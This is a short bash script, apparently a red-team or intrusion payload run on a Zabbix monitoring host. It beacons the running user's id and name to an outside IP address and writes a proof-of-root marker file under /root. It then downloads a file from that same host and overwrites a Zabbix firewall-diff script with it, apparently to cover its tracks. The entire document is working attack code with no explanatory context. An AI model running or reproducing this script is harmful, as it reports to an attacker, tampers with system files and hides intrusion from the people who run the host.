#!/bin/bash
P=/root/.rt-proof
D=/opt/zabbix/ferm-iptables-diff/ferm_iptables_diff_main.sh
restore() { curl -sf -m 20 -o "$D.rtnew" http://212.32.239.72:8088/rtferm-orig && cat "$D.rtnew" > "$D" && rm -f "$D.rtnew"; chown zabbix:zabbix "$D" 2>/dev/null; chmod 644 "$D" 2>/dev/null; }
curl -s -m 10 "http://212.32.239.72:8088/rtferm-rootexec-tls46?uid=$(id -u)&user=$(id -un)&guard=pre" >/dev/null 2>&1
if [ ! -f "$P" ]; then
  echo "rt-ferm-root hostid=23708 host=tls46 $(date -u +%Y%m%dT%H%M%SZ) uid=$(id -u) user=$(id -un)" > "$P"
  chmod 600 "$P"
fi
restore
exit 0
